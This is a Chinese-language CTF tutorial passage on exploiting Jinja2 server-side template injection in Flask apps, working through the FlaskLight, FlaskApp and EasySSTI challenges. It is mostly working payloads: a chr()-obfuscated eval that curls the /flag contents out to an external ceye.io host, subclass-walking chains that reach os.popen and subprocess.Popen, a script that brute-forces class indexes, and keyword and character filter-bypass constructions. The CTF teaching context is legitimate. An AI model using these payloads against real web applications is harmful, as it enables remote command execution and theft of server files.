{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
?
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")
說了這么多的繞過形式,接著結合題目總結下常見的利用思路,
利用思路
無過濾的情況
①隨便找一個內置類物件用class拿到它所對應的類②用bases拿到基類(<class 'object'>)③用subclasses()拿到子類串列④在子類串列中直接尋找可以利用的類getshell
綜上,基本思路為:
物件→類→基本類→子類→(init方法→globals屬性→builtins屬性)→讀取檔案的類
其中,()內的步驟有些時候不需要用到,所以加個括號表示可去,例如無過濾的情況下file類讀取檔案時:
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
接著用代碼演示圖過一遍思路:
先找到一個型別所屬的物件,在找到這個物件所繼承的基類,接著找到子類,

假設我們需要用到的就是OS模塊來命令執行,找到OS類了并將這個類初始化成方法,相當于我們呼叫了OS模塊,然后通過globals保存對全域變數的參考,最后使用os模板進行命令執行讀取檔案,

到最后還要使用read()方法讀取,是因為前面回傳的結果為地址,如圖所示:

所以還需要用read()讀取一下,
如有過濾的話,其實追究其根本,還是要按照上面的那些步驟進行利用,只不過題目過濾了什么就用對應的方法繞過即可,
實戰
[CSCCTF 2019 Qual]FlaskLight
這是一道沒有任何過濾的題目,難度較小,首先是一成不變的步驟,嘗試輸入{{ 4*5 }}看看有沒有回顯20,發現存在SSTI注入:

接著利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有類,通過ctrl+f搜索也能找到利用類,但是不知道下標具體是多少無法加以利用,

這里附上網上的腳本尋找利用類及下標:
import requests
import re
import html
import time
?
index = 0
for i in range(170, 1000):
try:
url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
?
得到利用類的下標為258:

接著就可以開始構造拿flag了,
?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目錄)
成功拿到flag:

再來看一道過濾了關鍵字的題目,使用上面提到的方法進行構造且分析思路,
#
[GYCTF2020]FlaskApp
這道題過濾了os、flag、chr、popen、eval、request等常用關鍵字,需要進行繞過,
首先打開題目發現是一個用flask寫的一個base64加解密應用,有一個加密頁面和解密頁面,思路應該是在加密頁面輸入payload進行加密,加密結果在解密頁面進行解密,輸出解密后的payload被渲染到頁面輸出后執行了payload,使其報錯發現有個源檔案app.py及加解密原理,有個模板渲染,然而SSTI注入的原因正是由于render_template_string的不正確的使用以及沒有對用戶輸入的資料進行有效的過濾導致的,

獲取原始碼
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

利用上面提到的使用+拼接字串繞過os、import等被過濾關鍵字以便找目錄與執行命令,構造如下:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

拿到檔案,接著讀取,注意flag要使用拼接:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
成功拿到flag:

再來看一道過濾字符的題目,以便測驗利用上述繞過各種字符的方法,
#
[Dest0g3 520迎新賽]EasySSTI
根據題目名稱提示,這題考察SSTI,進入題目是一個登錄框,點擊登錄可以回顯用戶名,發現在username處有jinja2模板引擎的SSTI漏洞:

經過Fuzz,發現過濾了_.'"[]等字符,還有各種class、request、eval等關鍵字以及空格,
最侄訓是要達到實作{{lipsum.__globals__['os'].popen('ls').read()}}進行命令執行的目的,其他字符可以使用過濾器和join拼接字符達到繞過,空格的話使用%0a換行符繞過,
{%set%0apo=dict(po=a,p=a)|join()%} #pop
?
{%set%0aa=(()|select|string|list)|attr(po)(24)%} #_
?
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals
?
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
?
{%set%0ape=dict(po=aaa,pen=aaa)|join()%} #popen
?
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%} #read
?
dict(o=a,s=a)|join() #獲取 os
?
(config|string|list)|attr(po)(279) #獲取 /
?
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
?
等價于:
{{lipsum.__globals__['os'].popen('ls').read()}}
先使用ls查看有哪些檔案,構造如下
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
使用()|select|string|list獲取flag的具體位置:
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
接著將命令修改為cat /flag
最終構造如下:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}
成功拿到flag:

總結
對于ssti注入,其實掌味訓本的常用的方法,按照常規的思路進行構造,有哪些被過濾的就用相應的方法進行繞過,按照模板走大多數題目都能解出來,但是最重要的還是自己動手嘗試構造,體會其中的原理,因為還要考慮題目解釋器版本不同、類方法所在索引不同,構造出來的陳述句也不一樣,對于python里的jinja2 ssti注入就分析到這里,后續還會總結java、php中常用模板的ssti注入,下回見,
更多靶場實驗練習、網安學習資料,請點擊這里>>
合天智匯:合天網路靶場、網安實戰虛擬環境
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/548722.html
標籤:其他
上一篇:【網路安全軟體】上海道寧與Cybereason為您提供未雨綢繆的攻擊保護,終結對端點、整個企業以及網路上任何角落的網路攻擊
下一篇:git 常用命令
